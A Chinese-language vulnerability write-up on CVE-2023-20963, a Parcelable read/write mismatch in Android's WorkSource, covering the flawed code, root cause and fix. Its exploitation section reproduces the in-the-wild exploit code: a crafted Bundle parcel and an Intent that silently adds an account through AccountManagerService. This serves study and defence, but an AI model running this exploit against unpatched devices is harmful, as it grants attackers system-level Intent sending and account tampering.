CVE-2023-20963 WorkSource Parcelable反序列化漏洞分析

前言

  • 在Android安全补丁级别2023-03-01之前的版本中,android.os.WorkSource这个类型存在Parcelable反序列化漏洞,成功利用漏洞的攻击者可实现以system身份发送任意Intent。关于该漏洞Google在安全公告中表示:

    There are indications that CVE-2023-20963 may be under limited, targeted exploitation.

  • Google的描述看起来是轻描淡写,但是实际上针对此漏洞的利用代码被内置到了中国一家有着3亿多月均DAU的电商软件中,同时最早的漏洞利用时间已经很难考证,至少是长达半年。可以说是Android乃至网络安全行业极大规模的漏洞利用事件。
  • 今天并非讨论这次在野利用事件,主要关注漏洞本身。

漏洞分析

  • WorkSource这个类型在Android SDK中是存在的,但是其具体用于什么功能特性并不重要,主要还是关注其反序列化的实现。WorkSource的官方文档详见:https://developer.android.com/reference/android/os/WorkSource

    @UnsupportedAppUsage
    WorkSource(Parcel in) {
    this.mNum = in.readInt();
    this.mUids = in.createIntArray();
    this.mNames = in.createStringArray();
    int numChains = in.readInt(); // numChains = 1
    if (numChains > 0) {
        this.mChains = new ArrayList<>(numChains); // create length = 1 array list
        in.readParcelableList(this.mChains, WorkChain.class.getClassLoader()); // read empty Parcelable list
        return;
    }
    this.mChains = null;
    }
    @Override // android.os.Parcelable
    public void writeToParcel(Parcel dest, int flags) {
    dest.writeInt(this.mNum);
    dest.writeIntArray(this.mUids);
    dest.writeStringArray(this.mNames);
    ArrayList<WorkChain> arrayList = this.mChains;
    if (arrayList == null) {
        dest.writeInt(-1);
        return;
    }
    dest.writeInt(arrayList.size()); // write size is 0
    dest.writeParcelableList(this.mChains, flags); // write int 0
    }
  • Parcelable反序列化类漏洞中,size处理的问题是比较常见的,这个也不例外。在第一次read的时候,攻击者使得numChains读取到int为1,然后进到里面readParcelableList直接放一个-1代表null,这样在new ArrayList的时候就给mChains创建了一个长度为1的ArrayList,但是并未add任何成员,这里面读取了2个int,8个字节。

  • 然后进行write的时候,写入的是arrayList.size(),这里面会写入0,而writeParcelableList自带也会写入一个ArrayList的长度0,不过this.mChains里面并没有内容,所以不会再继续写入。

    扩展知识:writeParcelableList如果写入null,会直接写入-1,如果写入一个size为0的ArrayList,则会写入其长度0,如果size不为0,则会写入实际size之后,再写入真正的内容。详情可以参考Parcel的源代码。

  • 等到第二次read的时候,numChains是0,则不进入分支,也不调用readParcelableList,仅读取1个int,仅有4个字节。对比最初读取的8个字节,正好少了4个字节,存在mismatch问题,这也就是漏洞的所在。

根因分析

  • 这个漏洞在Google的代码中潜藏时间很久,没有仔细检查历史版本,应该Android 10时代就已存在,那么为什么技术超群的Google程序员还会犯下这个错误呢?这里我根据个人的一些想法进行推测,仅代表个人观点。
  • 我们可以看到这里面漏洞主要的成因是numChains数值和mChains实际大小不一致的问题,这里面我的推测是Google程序员之前做JavaScript开发比较多,因为JS中的Array对象就是数组的形态,如果new Array传入1的话,至少会有一个为0的成员,再取其长度也是1,这里可以验证一下:
    var array = new Array(1)
    console.log(array.length); // 1
  • 而在Java中的ArrayList就并不是这样,我们查看ArrayList构造器的定义可以发现,其传入的int参数实际含义是初始化容量,这个值默认为10,并且会随着add的成员而动态伸缩。
    public ArrayList​(int initialCapacity)
  • 这里可以合理推测,Google程序员因为其JS的经验,下意识认为使用1来调用new ArrayList,其拿到的size也是1,至少在writeParcelableList会写入一个8个字节,但是事与愿违,new ArrayList的参数是初始化容量的意思,即使传入了1但不add任何成员的情况下,其size依旧是0,这样便导致了漏洞的出现。

漏洞利用

  • 该漏洞的利用比较常规,下面是已经披露出的在野利用代码:
    Bundle bundle = new Bundle();
    Parcel obtain = Parcel.obtain();
    Parcel obtain2 = Parcel.obtain();
    Parcel obtain3 = Parcel.obtain();
    obtain2.writeInt(3);
    obtain2.writeInt(13);
    obtain2.writeInt(2);
    obtain2.writeInt(0);
    obtain2.writeInt(0);
    obtain2.writeInt(0);
    obtain2.writeInt(6);
    obtain2.writeInt(0);
    obtain2.writeInt(0);
    obtain2.writeInt(4);
    obtain2.writeString("android.os.WorkSource");
    obtain2.writeInt(-1);
    obtain2.writeInt(-1);
    obtain2.writeInt(-1);
    obtain2.writeInt(1);
    obtain2.writeInt(-1);
    obtain2.writeInt(13);
    obtain2.writeInt(13);
    obtain2.writeInt(68);
    obtain2.writeInt(11);
    obtain2.writeInt(0);
    obtain2.writeInt(7);
    obtain2.writeInt(0);
    obtain2.writeInt(0);
    obtain2.writeInt(1);
    obtain2.writeInt(1);
    obtain2.writeInt(13);
    obtain2.writeInt(22);
    obtain2.writeInt(0);
    obtain2.writeInt(0);
    obtain2.writeInt(0);
    obtain2.writeInt(0);
    obtain2.writeInt(0);
    obtain2.writeInt(0);
    obtain2.writeInt(13);
    obtain2.writeInt(-1);
    int dataPosition = obtain2.dataPosition();
    obtain2.writeString("intent");
    obtain2.writeInt(4);
    obtain2.writeString("android.content.Intent");
    intent.writeToParcel(obtain3, 0);
    obtain2.appendFrom(obtain3, 0, obtain3.dataSize());
    int dataPosition2 = obtain2.dataPosition();
    obtain2.setDataPosition(dataPosition - 4);
    obtain2.writeInt(dataPosition2 - dataPosition);
    obtain2.setDataPosition(dataPosition2);
    int dataSize = obtain2.dataSize();
    obtain.writeInt(dataSize);
    obtain.writeInt(1279544898);
    obtain.appendFrom(obtain2, 0, dataSize);
    obtain.setDataPosition(0);
    bundle.readFromParcel(obtain);
  • 随后可以使用静默账号添加的技术,攻击AccountManagerService完成利用,详情请看我之前写的文章。
    Intent intent = new Intent();
    intent.setComponent(new ComponentName("android", "android.accounts.ChooseTypeAndAccountActivity"));
    ArrayList<Account> allowableAccounts = new ArrayList<>();
    allowableAccounts.add(new Account("pxx", MY_ACCOUNT_TYPE));
    intent.putExtra("allowableAccounts", allowableAccounts);
    intent.putExtra("allowableAccountTypes", new String[] { MY_ACCOUNT_TYPE });
    Bundle options = new Bundle();
    options.putBoolean("alivePullStartUp", true);
    intent.putExtra("addAccountOptions", options);
    intent.putExtra("descriptionTextOverride", "     ");
    intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY | Intent.FLAG_ACTIVITY_CLEAR_TASK);
    startActivity(intent);
  • 在拿到system uid任意Intent发送之后,可配合其他Intent重定向漏洞或者系统FileProvider进行进一步利用,详情可以见网上的利用代码分析文章。

修复

  • 将numChains的判断从>0改为>=0即可解决问题,使得第二次read时也进入if分支,和第一次read保持一致即可。
- if (numChains > 0) {
+ if (numChains >= 0) {

总结

  • 可以说很多漏洞的出现都是想当然,程序员对代码的理解存在偏差,就很容易为逻辑漏洞埋下伏笔。CVE-2023-20963就是一个惨痛的教训,Google程序员少写的一个等号,就导致现网大量用户被在野利用攻击,造成的损失难以估计。